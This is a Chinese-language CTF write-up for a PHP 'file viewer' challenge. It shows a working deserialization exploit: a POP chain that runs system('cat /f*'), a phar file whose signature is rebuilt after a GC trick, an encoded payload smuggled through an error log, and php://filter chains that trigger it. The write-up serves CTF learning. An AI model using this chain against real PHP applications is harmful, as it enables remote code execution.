打开界面直接一个登录界面,直接admin/admin登录进去 。
进来之后发现是一个文件查看器的功能
随便输入了点东西发现了报错,然后读取文件的功能,输入Files.classs.php发现读取不成功
换了个index.php
<?phpfunction __autoload($className) {include("class/".$className.".class.php");}if(!isset($_GET['c'])){header("location:./?c=User&m=login");}else{$c=$_GET['c'];$class=new $c();if(isset($_GET['m'])){$m=$_GET['m'];$class->$m();}}
大概的意思就是new 传入一个类,然后调用类中的方法,推断肯定有别的源码,果断扫目录
发现www.zip,里面有几个php文件,然后可以看到每个类中都有几个魔法函数,说明肯定是用他们一起然后构造一个pop链,大致拼接了一下
<?php
class Myerror{public $message;public function __tostring(){$test=$this->message->{$this->test};return "test";}
}class User{public $username;public $password;public function check(){if($this->username==="admin" && $this->password==="admin"){return true;}else{echo "{$this->username}的密码不正确或不存在该用户";return false;}}public function __destruct(){//destruct->call->check->String->get(@$this->password)();}public function __call($name,$arg){($name)();}
}class Files{public $filename;public function __get($key){($key)($this->arg);}
}
//destruct->check->String->get
<?php
class Myerror{public $message;
// public function __tostring(){
// $test=$this->message->{$this->test};
// return "test";
// }
}class User{public $username;public $password;// public function check(){
// if($this->username==="admin" && $this->password==="admin"){
// return true;
// }else{
// echo "{$this->username}的密码不正确或不存在该用户";
// return false;
// }
// }
//
// public function __destruct(){//destruct->call->check->String->get
// (@$this->password)();
// }
}class Files{public $arg;//public $filename;// public function __get($key){
// ($key)($this->arg);
// }
}
$U=new User();
$U->password=[new User(),"check"];
$U->username=new Myerror();
$U->username->message=new Files();
$U->username->test="system";
//$U->username->test->arg="cat /f*";
$U->username->message->arg="cat /f*";echo serialize($U);
这里有一个点就是
([new User(),"check"];)();会调用user类中的check方法
但是类中没有unserialize反序列化的点, 发现日志里面可以写入但是前后都有脏数据
utf8转为UCS-16时,每个字符后面会生成一个/0不可见字符
但是被禁用了,和下面正好相反
utf8转为UCS-2时,每个字符前面会生成一个/0不可见字符
$a="abc==";
$a=iconv('utf-8','UCS-2',($a));
// a b c = =
quoted_printable_encode,生成
这个字符生成原则除了ascii非ascii字符和等号用=+两个16进制数字表示,比如0就是=00,=就是=3d
$a="abc==";
file_put_contents('a.txt',quoted_printable_encode($a));
//abc=3D=3D
这里要经过 quoted_printable_encode是 因为,utf8转为UCS-2时会生成不可见字符也就是空白,而 file_get_contents() 在加载有空字节的文件时会 warning
所以现在需要:
base64-encode --> utf-8 -> ucs-2 --> convert.quoted-printable-decode
,我们可以写一个编码脚本:
<?php
$b = file_get_contents('ars2.phar');
$payload = iconv('utf-8', 'UCS-2', base64_encode($b));
file_put_contents('payload.txt', quoted_printable_encode($payload));
$s = file_get_contents('payload.txt');
$s = preg_replace('/=\r\n/', '', $s);
echo $s;
构造完了以后就需要生成我们的phar文件
<?phpclass Myerror{public $message;
}class User{public $username;public $password;
}class Files{public $arg;
}
$U=new User();
$U->password=[new User(),"check"];
$U->username=new Myerror();
$U->username->message=new Files();
$U->username->test="system";
//$U->username->test->arg="cat /f*";
$U->username->message->arg="cat /f*";
$b=[$U,null];
$phar = new Phar('aa.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($b);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
GC回收机制
通过这个就可以生成phar文件了,$b=[$U,null];这里怎么来的呢
这里就是 $b[0]=$U $b[1]=null; 但是如果生成phar以后,我们在010把b[1]改为b[0]那么,前面的那个$b[0]=$U由于没有指针指向,就会被GC回收掉
但是phar是通过签名来进行解析,前面又依靠前面的数据,如果直接改的话则会数显解析错误的信息。
可以看到,最后四个字节固定是GBMB
,然后再往前四个字节是⽤来指定签名的算法,可能是MD5、SHA1、SHA256、SHA512
,默认是SHA1
,长度为20个字节,所以说签名部分就是末尾的28个字节,那我们去掉末尾的28个字节,再利用sha1
算法对文件进行加密,就可以得到正确的签名了
import gzip
from hashlib import sha1file = open("arsenetang.phar","rb").read()text = file[:-28] #读取开始到末尾除签名外内容last = file[-8:] #读取最后8位的GBMB和签名flagnew_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时sha1正确了。open("arsenetang2.phar","wb").write(new_file)
这样我们把1改为0,再把后面的签名重新生成就ok了
回到本题这道题为啥要用GC回收机制呢
因为这里过滤了phar但是我们又想用,所以在phar解析里面的变量指针为看空,直接就会不执行this->filter直接进行销毁触发反序列化的操作。
=00R=000=00l=00G=00O=00D=00l=00h=00P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00q=00N=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00B=00X=00A=00Q=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00T=00z=00o=000=00O=00i=00J=00V=00c=002=00V=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00g=006=00I=00n=00V=00z=00Z=00X=00J=00u=00Y=00W=001=00l=00I=00j=00t=00P=00O=00j=00c=006=00I=00k=001=005=00Z=00X=00J=00y=00b=003=00I=00i=00O=00j=00I=006=00e=003=00M=006=00N=00z=00o=00i=00b=00W=00V=00z=00c=002=00F=00n=00Z=00S=00I=007=00T=00z=00o=001=00O=00i=00J=00G=00a=00W=00x=00l=00c=00y=00I=006=00M=00j=00p=007=00c=00z=00o=004=00O=00i=00J=00m=00a=00W=00x=00l=00b=00m=00F=00t=00Z=00S=00I=007=00T=00j=00t=00z=00O=00j=00M=006=00I=00m=00F=00y=00Z=00y=00I=007=00c=00z=00o=003=00O=00i=00J=00j=00Y=00X=00Q=00g=00L=002=00Y=00q=00I=00j=00t=009=00c=00z=00o=000=00O=00i=00J=000=00Z=00X=00N=000=00I=00j=00t=00z=00O=00j=00Y=006=00I=00n=00N=005=00c=003=00R=00l=00b=00S=00I=007=00f=00X=00M=006=00O=00D=00o=00i=00c=00G=00F=00z=00c=003=00d=00v=00c=00m=00Q=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00N=00D=00o=00i=00V=00X=00N=00l=00c=00i=00I=006=00M=00T=00p=007=00c=00z=00o=004=00O=00i=00J=001=00c=002=00V=00y=00b=00m=00F=00t=00Z=00S=00I=007=00T=00z=00o=003=00O=00i=00J=00N=00e=00W=00V=00y=00c=00m=009=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00c=006=00I=00m=001=00l=00c=003=00N=00h=00Z=002=00U=00i=00O=000=008=006=00N=00T=00o=00i=00R=00m=00l=00s=00Z=00X=00M=00i=00O=00j=00I=006=00e=003=00M=006=00O=00D=00o=00i=00Z=00m=00l=00s=00Z=00W=005=00h=00b=00W=00U=00i=00O=000=004=007=00c=00z=00o=00z=00O=00i=00J=00h=00c=00m=00c=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=002=00F=000=00I=00C=009=00m=00K=00i=00I=007=00f=00X=00M=006=00N=00D=00o=00i=00d=00G=00V=00z=00d=00C=00I=007=00c=00z=00o=002=00O=00i=00J=00z=00e=00X=00N=000=00Z=00W=000=00i=00O=003=001=009=00a=00T=00o=00x=00O=003=00M=006=00N=00T=00o=00i=00Y=002=00h=00l=00Y=002=00s=00i=00O=003=001=009=00a=00T=00o=00w=00O=000=004=007=00f=00Q=00g=00A=00A=00A=00B=000=00Z=00X=00N=000=00L=00n=00R=004=00d=00A=00s=00A=00A=00A=00C=00L=001=006=00R=00h=00C=00w=00A=00A=00A=00N=00v=00G=00o=00S=00C=002=00A=00Q=00A=00A=00A=00A=00A=00A=00A=00G=00F=00h=00Y=00W=00F=00h=00Y=00W=00F=000=00Z=00X=00N=000=006=00O=00q=00P=00c=004=00H=00F=00K=009=00m=00B=003=00b=00p=00Q=00s=00r=005=00Y=00g=00y=004=00x=00o=00L=00Y=00C=00A=00A=00A=00A=00R=000=00J=00N=00Q=00g=00=3D=00=3D
php://filter/write=convert.quoted-printable-decode/resource=log/error.txtphp://filter/write=convert.iconv.ucs-2.utf8/resource=log/error.txtphp://filter/write=convert.base64-decode/resource=log/error.txtphp://filter/read=convert.quoted-printable-decode|convert.iconv.ucs-2.utf-8|convert.base64-decode/resource=log/error.txt //组合过滤器
然后在解码的过程中发现少了一个=,我们在结尾重新传入 最上面加密后的字符+ =00=3D就可以了
最后 phar://log/error.txt触发即可
php://filter/read=consumed/resource=log/error.txt 清空日记操作
WP篇之解析GFCTF---文件查看器 | Arsene.Tang (arsenetang.com)
最后提一句,这里的是否重写文件,其实就是调用的file_put_contents. 上面我们的过滤器都需要勾上,因为要对日志中的信息进行一个解码,需要它进行改变,然后为什么是log/error.txt咋来的呢,
通过源码以及给的zip目录,发现报错信息都写入了这里面。